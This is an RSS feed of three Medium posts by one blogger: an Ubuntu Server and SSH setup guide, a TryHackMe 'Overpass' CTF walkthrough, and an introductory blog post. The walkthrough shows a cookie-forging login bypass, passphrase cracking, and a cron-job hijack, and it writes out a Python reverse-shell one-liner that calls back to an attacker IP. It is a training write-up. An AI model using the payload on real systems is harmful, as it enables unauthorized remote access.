<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by LazyGarfield on Medium]]></title>
        <description><![CDATA[Stories by LazyGarfield on Medium]]></description>
        <link>https://medium.com/@LazyGarfield1?source=rss-f38def74b58f------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*2HGYkk93SVawg39pzF-vPA.jpeg</url>
            <title>Stories by LazyGarfield on Medium</title>
            <link>https://medium.com/@LazyGarfield1?source=rss-f38def74b58f------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 17:42:11 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@LazyGarfield1/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[From Old Potato to Multi-Purpose Workstation: Turning My PC into an Ubuntu Server]]></title>
            <link>https://medium.com/@LazyGarfield1/from-old-potato-to-multi-purpose-workstation-turning-my-pc-into-an-ubuntu-server-d0233efc0fdf?source=rss-f38def74b58f------2</link>
            <guid isPermaLink="false">https://medium.com/p/d0233efc0fdf</guid>
            <category><![CDATA[ssh]]></category>
            <category><![CDATA[ubuntu-server]]></category>
            <dc:creator><![CDATA[LazyGarfield]]></dc:creator>
            <pubDate>Wed, 08 Jan 2025 14:08:11 GMT</pubDate>
            <atom:updated>2025-01-08T14:08:11.104Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>Hello Everyone,</p><p>I have an old potato PC with an Intel Pentium processor and it has been sitting in the corner collecting dust with no use (same as me). So today, I decided to do something productive (or boring, depending on how you look at it) and turned that PC into a workstation. Well, not exactly — I just installed SSH to make it more useful. This blog is a simple guide to installing Ubuntu Server with SSH configuration so that I can access it anytime.</p><h3>Why Ubuntu Server?</h3><p>As I mentioned earlier, the PC only has 2 cores, which makes it laggy even when running regular Ubuntu. This is likely due to the old HDD. But Ubuntu Server, on the other hand, serves its purpose without a GUI and offers a wide range of functions for this kind of setup.</p><h3>Step-by-Step Guide</h3><p>Here’s I made the process into steps to make it easy to follow:</p><h4>Step 1: Assess Your Old PC</h4><p>Before starting, check if your old PC meets the basic requirements for running a server:</p><blockquote>Processor: At least a dual-core processor.</blockquote><blockquote>RAM: Minimum 2GB (but 4GB or more is recommended).</blockquote><blockquote>Storage: At least 100GB of hard drive space (SSD is preferable because of the “S-Speed”).</blockquote><blockquote>Network Card: A working Ethernet port or Wi-Fi adapter.</blockquote><h4>Step 2: Download Ubuntu Server</h4><p>Visit the official Ubuntu website and download the latest version of Ubuntu Server. Make sure to choose the correct version for your hardware (32-bit or 64-bit).</p><h4>Step 3: Create a Bootable USB</h4><p>Use a tool like Rufus (Windows) or Etcher (Linux/Mac) to create a bootable USB drive with the Ubuntu Server ISO file you just downloaded. Insert the USB into your old PC.</p><h4>Step 4: Boot from USB</h4><p>Restart your old PC and access the BIOS/UEFI settings (usually by pressing a key like F2, F12, or DEL during startup). Change the boot order to the USB drive.</p><h4>Step 5: Install Ubuntu Server</h4><p>Follow the on-screen instructions to install Ubuntu Server. During installation, you’ll be prompted to:</p><blockquote>Select your language and keyboard layout.</blockquote><blockquote>Configure the network settings (use Ethernet for simplicity).</blockquote><blockquote>DHCP: If you have a router that assigns IP addresses automatically, you can simply select DHCP during the network configuration. This is the easiest and most common option.</blockquote><blockquote>Manual IP: If you prefer to assign a static IP address, choose the manual configuration option. You’ll need to provide the following information:</blockquote><p>IP address (e.g., 192.168.1.100)</p><p>Subnet mask (e.g., 255.255.255.0)</p><p>Gateway (e.g., 192.168.1.1)</p><p>DNS server(s) (e.g., 8.8.8.8 for Google DNS)</p><blockquote>Partition the hard drive (choose guided partitioning if you’re unsure).</blockquote><blockquote>Create a user account and set a strong password.</blockquote><h4>Step 6: Configure SSH</h4><p>Once Ubuntu Server is installed, log in with the user account you created. Install OpenSSH Server by running:</p><p>sudo apt update<br>sudo apt install openssh-server</p><p>Enable SSH to start on boot:</p><p>sudo systemctl enable ssh<br>sudo systemctl start ssh</p><h4>Step 7: Access Your Server Remotely</h4><p>From another computer, you can now access your server via SSH. Use the following command (replace user with your username and server-ip with your server’s IP address):</p><p>ssh user@server-ip</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/1*C8HNipotCkHFBM9w0-zVLw.jpeg" /></figure><p>Congratulations! Your old potato PC is now a functional Ubuntu Server.</p><h3>Conclusion</h3><p>I turned my outdated PC into an Ubuntu Server, giving it a new life and making it a useful tool for my projects. If you have an old PC lying around, why not give it a try? In my next blog, I’ll be installing a file server to tinker with NAS functionality.</p><p>Thanks for reading</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d0233efc0fdf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OVERPASS THM WALKTHROUGH]]></title>
            <link>https://medium.com/@LazyGarfield1/overpass-thm-walkthrough-92a7994ef24e?source=rss-f38def74b58f------2</link>
            <guid isPermaLink="false">https://medium.com/p/92a7994ef24e</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[LazyGarfield]]></dc:creator>
            <pubDate>Thu, 19 Dec 2024 14:40:54 GMT</pubDate>
            <atom:updated>2024-12-19T14:40:54.639Z</atom:updated>
            <content:encoded><![CDATA[<p>This is a old blog for overpass machine in TryHackme which i have created on 2021 with my friend but i didnt post because i forgot that the first blog i wrote was not even maybe i had a short term that i wrote the box</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/1*I2Crj7GFTwflBlWok1eVQA.jpeg" /></figure><p>Now i just posted i dont want to waste the work which i done in 2021 and also this is machine is actually pretty good so try to read along</p><p>First get the IP and do a nmap scan Before that check your vpn is connected or not</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*eLz_Fwh_VbRCLCUxkf-vXg.jpeg" /></figure><p>We can see that ssh and http ports are so I gone through webpage and it is like</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*vECEKuh5H6szREhEkDwrLQ.jpeg" /></figure><p>and I brute force the site using dirbuster and I found a directory called admin so I get into it .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*oUuHr0exQUQpdGuEgtIp4A.jpeg" /></figure><p>and when I see the javascript code and I saw at the if the credeantilines is incorrect it return as StatusOrCookie so I edited the cookie and created a cookie named SessionToken and random text</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/331/1*idUWGGZZp3cG5Ui8Q4twog.jpeg" /></figure><p>So that it we got into it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*eBEoCEve1gtCTx2wr1_iSA.jpeg" /></figure><p>So we got the rsa private key and we can guess the name for ssh that is james and I saved the rsa in a file as id_rsa If we use the rsa and we get into ssh so I used It as</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/227/1*D0XRwooeFQelH-MN0R-EGg.jpeg" /></figure><p>And we need a passphrase for key we can we use john the ripper like</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/396/1*05a52QTyqqL2n7VNBX-jiw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/507/1*hFu4kBjvQxpgHbZRmhZZPA.jpeg" /></figure><p>So we found the passpharase:james13 Lets use it to get it in ssh</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*oGpG4tGVP6kZe1CkDbb6rQ.jpeg" /></figure><p>we can find the user flag in this directory</p><p>And Next privelage escalation while checking for process I found a cron tab running as root there so I searched and read it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/568/1*xpT8oDael0TfiaK7Uvq3bA.jpeg" /></figure><p>Here we can see that the bash script executes evreytimeadn I found a file which is accessible for rot user but is accessible so I get into it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/357/1*6stG12RXFML3S5PYJCSGCw.jpeg" /></figure><p>We can see that ip address of localhost that is the overpass.thm so ifwe change the ip of that then cron tab will run in our machine so that we can obtain a shell</p><p>For that first we have to create a file as bulidscript.sh and enter the reverse shell script on it mkdir downloads/src/buildscript.sh echo “python3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.9.0.54”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’”&gt; buildscript.sh and host the python server in the \ direcotory that is were we created python3 -m http.server 80 and us a netcat listenter with the mentioned port 4444 nc -nvlp 4444 so we will get the reverse shell as</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*a9fKeTuiR_OFUcoP67xyFA.jpeg" /></figure><p>Now we can obtain the root flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/344/1*1_b4jsxE2kAMyTyjygpKzg.jpeg" /></figure><p>Thank you for reading and next i gonna really start writing a real blog REAL BLOG until then…</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=92a7994ef24e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Starting My Blog to Upscale My Career]]></title>
            <link>https://medium.com/@LazyGarfield1/starting-my-blog-to-upscale-my-career-29e93a3bb291?source=rss-f38def74b58f------2</link>
            <guid isPermaLink="false">https://medium.com/p/29e93a3bb291</guid>
            <dc:creator><![CDATA[LazyGarfield]]></dc:creator>
            <pubDate>Tue, 17 Dec 2024 16:44:34 GMT</pubDate>
            <atom:updated>2024-12-17T16:44:34.431Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello everyone,</p><p>First things first: thank you for being here. Whether you stumbled upon this blog by chance or came here intentionally, your presence means so much to me.</p><p>This post marks the beginning of my journey into blogging. I’m finally doing it for two main reasons:</p><p>1. To document my journey as I upscale my career</p><p>2. To connect with people who share similar interests so we can learn from each other.</p><p>Why Blogging?</p><p>Like everyone, I’m in the process of leveling up in my career while also learning new skills and exploring new opportunities. During this process, I realized I was falling behind because I didn’t record any of my progress. I came to understand how valuable it is to reflect on my experiences, share my thoughts, and connect with a community. That’s where blogging comes in. Writing helps me organize my thoughts, and it will not only be useful for others but also for myself.</p><p>What’s in This Blog?</p><p>This blog will be a mix of technology, lessons learned, tips, resources, and, of course, a bit of humor.</p><p>I’m not an expert, nor am I claiming to have all the answers. But I’m committed to sharing what I know, being honest about what I don’t, and inviting meaningful conversations along the way. I’m also eager to hear from you!</p><p>How You Can Support Me</p><p>If you’ve made it this far, I already consider you part of my journey, and I’m truly grateful. Here are a few ways you can support me as I get started:</p><p>Engage: Leave a comment below with your thoughts, experiences, or advice. I’d love to hear from you.</p><p>Share: If you find value in what I write, share it with someone who might benefit too.</p><p>Suggest: Let me know if there’s a topic you’d like me to explore or a resource you’d recommend.</p><p>Closing Thoughts</p><p>Starting something new is never easy, especially when it’s outside your comfort zone. But every big journey begins with a single step. I hope this blog becomes a space where we can grow together, share knowledge, and support one another .</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=29e93a3bb291" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>